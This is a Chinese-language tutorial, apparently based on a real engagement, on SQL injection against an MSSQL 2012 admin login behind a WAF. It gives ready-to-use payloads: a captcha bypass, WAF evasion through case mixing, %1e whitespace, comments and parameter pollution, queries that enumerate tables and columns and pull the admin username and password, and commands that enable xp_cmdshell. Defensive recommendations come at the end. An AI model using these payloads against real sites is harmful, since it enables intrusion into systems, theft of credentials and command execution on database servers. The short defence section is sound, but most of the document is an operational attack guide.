记一次实战MSSQL注入绕过WAF
字数 1127 2025-08-25 22:58:40
MSSQL注入绕过WAF实战技术详解
1. 注入环境概述
- 目标系统:IIS+ASPX环境下的MSSQL 2012 x64数据库
- 注入点:后台登录的用户名字段
- 防护措施:存在WAF(Web应用防火墙)和验证码机制
2. 验证码绕过技术
- 通过删除Cookie和验证码字段可以绕过验证码机制
- 这种绕过方式适用于验证码校验不严格的系统
3. WAF绕过核心技术
3.1 基础绕过技巧
-
大小写混合:将SQL关键字使用大小写混合形式
- 示例:
eaNd代替and,SelEct代替select
- 示例:
-
空白符替换:
- 使用MSSQL空白符
[0x00-0x20]代替常规空格 - 示例:
%1e作为空白符(0x1e是ASCII记录分隔符)
- 使用MSSQL空白符
-
注释符使用:
- 使用
/**/在函数名和括号之间插入注释 - 示例:
db_name/**/()绕过对db_name()的过滤
- 使用
3.2 高级绕过技术
-
限定符分隔:
- MSSQL中限定符(如'.')左右可插入空白符
- 示例:
infOrmatiOn_sChema%0f.%0ftAbles代替information_schema.tables
-
参数污染:
- 在IIS+ASPX环境中,提交多个同名参数时服务端会用逗号连接
- 结合注释符可绕过部分过滤
- 示例:
SelEct /*&username=*/%1etop%1e1%1etaBle_nAme
-
函数名变形:
- 删除函数名的一个字符测试WAF过滤规则
- 发现过滤后使用变形方式绕过
4. 信息收集技术
4.1 数据库信息获取
-
版本信息:
%1eoR%1e1=@@version%1e-- -
当前用户:
%1eoR%1e1=user%1e-- -
权限检测:
;if(0=(SelEct%1eis_srvrolemember('sysadmin')))WaItFOR%1edelay%1e'0:0:5'%1e-- ;if(0=(SelEct%1eis_srvrolemember('db_owner')))WaItFOR%1edelay%1e'0:0:5'%1e--
4.2 数据库结构枚举
-
当前数据库名:
%1eoR%1e1=(db_name/**/()%1e)%1e-- -
表名枚举:
- 一次性查询所有表名:
%1eoR%1e1=(SelEct/*&username=*/%1equotename(name)%1efRom%1ebak_ptfl%0f..sysobjects%1ewHerE%1extype='U' FOR XML PATH(''))%1e-- -
列名枚举:
- 查询特定表的所有列:
%1eoR%1e1=(SelEct/*&username=*/%1equotename/**/(name)%1efRom%1ebak_ptfl%0f..syscolumns%1ewHerE%1eid=(selEct/*&username=*/%1eid%1efrom%1ebak_ptfl%0f..sysobjects%1ewHerE%1ename='appsadmin')%1efoR%1eXML%1ePATH/**/(''))%1e--
5. 数据提取技术
-
管理员用户名提取:
%1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1eAdminName%1efRom%1eappsadmin%1e)%1e-- -
密码字段提取:
%1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1epassword%1efRom%1eappsadmin)%1e--
6. 权限提升尝试
- xp_cmdshell启用尝试:
;eXeC%1esp_configure%1e'show advanced options',1;RECONFIGURE%1e-- ;eXeC%1esp_configure%1e'xp_cmdshell',1;RECONFIGURE%1e--
7. 防御建议
-
输入验证:
- 对所有用户输入进行严格的类型和格式验证
- 使用参数化查询
-
WAF规则优化:
- 检测大小写变形的SQL关键字
- 检测异常空白符的使用
- 检测函数名和括号之间的异常字符
-
权限控制:
- 应用数据库用户使用最小权限原则
- 禁用不必要的存储过程如xp_cmdshell
-
验证码强化:
- 实现服务器端会话绑定验证码
- 防止验证码绕过
-
错误处理:
- 使用自定义错误页面
- 避免详细错误信息泄露
8. 总结
本案例展示了在MSSQL注入中绕过WAF的多项关键技术,包括:
- 大小写变形
- 非常规空白符使用
- 限定符分隔
- 参数污染
- 函数名变形
- 系统表查询技巧
这些技术可以组合使用,有效绕过许多常规WAF的防护规则。防御方需要从多个层面加强防护,而不仅是依赖WAF。